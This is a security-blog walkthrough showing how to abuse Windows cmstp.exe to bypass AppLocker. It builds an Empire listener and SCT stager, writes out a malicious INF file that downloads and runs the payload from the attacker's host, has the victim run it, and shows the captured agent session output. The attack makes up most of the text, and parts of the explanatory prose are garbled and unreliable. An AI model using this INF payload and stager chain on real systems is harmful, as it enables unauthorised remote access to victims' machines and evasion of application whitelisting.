

Windows Exploitation: cmstp

February 16, 2019 By Raj Chandel

By default, Applocker allows the executing of binaries in the folder that is the major reason that it can be bypassed. It has been found that such binaries can easily be used in order to bypass Applocker along with UAC. One of such binary related to Microsoft is CMSTP. CMSTP welcomes INF files and so exploitation through INF is possible. And so, we will be learning how to perform such exploitation.

Non-framework procedures like cmstp.exe start from the programming you introduced to your system. Since most applications store information on your hard drive and in your system's registry. It has machine code written in it. In the event that you begin the product Microsoft(R), Connection Manager, on your system, the directions contained in cmstp.exe will run on your system. For this reason, the record is stacked into the primary memory (RAM) and keeps running there as a Microsoft Connection Manager Profile Installer process (additionally called an errand). As we all know CMSTP accepts SCT files and runs them without suspicion and therefore we will create a malicious SCT file to reach our goal. We will use Empire PowerShell for this. For a detailed guide on Empire PowerShell click [here](#).

Launch the empire framework from the terminal of Kali and then type the following commands to create your malware :

```
listeners
uselistener http
set Host 192.168.1.109
execute
```

EMPIRE

285 modules currently loaded

0 listeners currently active

0 agents currently active

```
(Empire) > listeners ↵
[!] No listeners currently active
(Empire: listeners) > uselistener http ↵
(Empire: listeners/http) > set Host 192.168.1.109 ↵
(Empire: listeners/http) > execute
[*] Starting listener 'http'
[+] Listener successfully started!
(Empire: listeners/http) > back
(Empire: listeners) > usestager windows/launcher_sct ↵
(Empire: stager/windows/launcher_sct) > set Listener http ↵
(Empire: stager/windows/launcher_sct) > execute

[*] Stager output written out to: /tmp/launcher.sct

(Empire: stager/windows/launcher_sct) > █
```

The above commands will create a listener for you, then type back to return from listener interface and as for the creation of SCT file type :

```
usestager windows/launcher_sct
set Listener HTTP
execute
```

Running the above exploit will create your SCT file. We will use the following script to execute our file in PowerShell. In this script give the path of your SCT file and add the following line as shown in the image.

Download this script from here:

```
shell - Notepad
File Edit Format View Help
;cmstp.exe /s cmstp.inf

[version]
Signature=$chicago$
AdvancedINF=2.5

[DefaultInstall_SingleUser]
UnRegisterOCXs=UnRegisterOCXSection

[UnRegisterOCXSection]
%11%\scroobj.dll,NI,http://192.168.1.109:8080/launcher.sct

[Strings]
AppAct = "SOFTWARE\Microsoft\Connection Manager"
ServiceName="Yay"
ShortSvcName="Yay"
```

Now, send the file to the victim's PC and run the following command in victims' command prompt :

```
cmstp.exe /s shell.inf
```

```
C:\WINDOWS\system32\cmd.exe
Microsoft Windows [Version 10.0.17134.523]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Users\raj>cd Desktop

C:\Users\raj\Desktop>cmstp.exe /s shell.inf ↵

C:\Users\raj\Desktop>
```

As soon as you run the command, you will have a session. Use the following command to access your session :

```
interact <session name>
```

This way, you can use CMSTP binary to bypass applocker restrictions. CMSTP needs an INF file and by using it to your advantage you can have access to victim's PC.

```
(Empire: stager/windows/launcher_sct) > [*] Sending POWERSHELL stager (stage 1) to 192.168.1.105
[*] New agent ZVPRGU9Y checked in
[+] Initial agent ZVPRGU9Y from 192.168.1.105 now active (Slack)
[*] Sending agent (stage 2) to ZVPRGU9Y at 192.168.1.105
www.hackingarticles.in
(Empire: stager/windows/launcher_sct) > interact ZVPRGU9Y ↩
(Empire: ZVPRGU9Y) > sysinfo
[*] Tasked ZVPRGU9Y to run TASK_SYSINFO
[*] Agent ZVPRGU9Y tasked with task ID 1
(Empire: ZVPRGU9Y) > sysinfo: 0|http://192.168.1.109:80|DESKTOP-NQM64AS|raj|DESKTOP-NQM64AS|192.168.1.109|b842|Microsoft Windows 10 Enterprise|False|powershell|8464|powershell|5
[*] Agent ZVPRGU9Y returned results.
Listener:      http://192.168.1.109:80
Internal IP:   192.168.10.1 fe80::90d0:4c4b:d967:4626 192.168.232.1 fe80::e826:8249:4ee0:1ee6 192.168.1.105
Username:     DESKTOP-NQM64AS\raj
Hostname:     DESKTOP-NQM64AS
OS:           Microsoft Windows 10 Enterprise ←
High Integrity: 0
Process Name:  powershell
Process ID:    8464
Language:     powershell
Language Version: 5
[*] Valid results returned by 192.168.1.105
```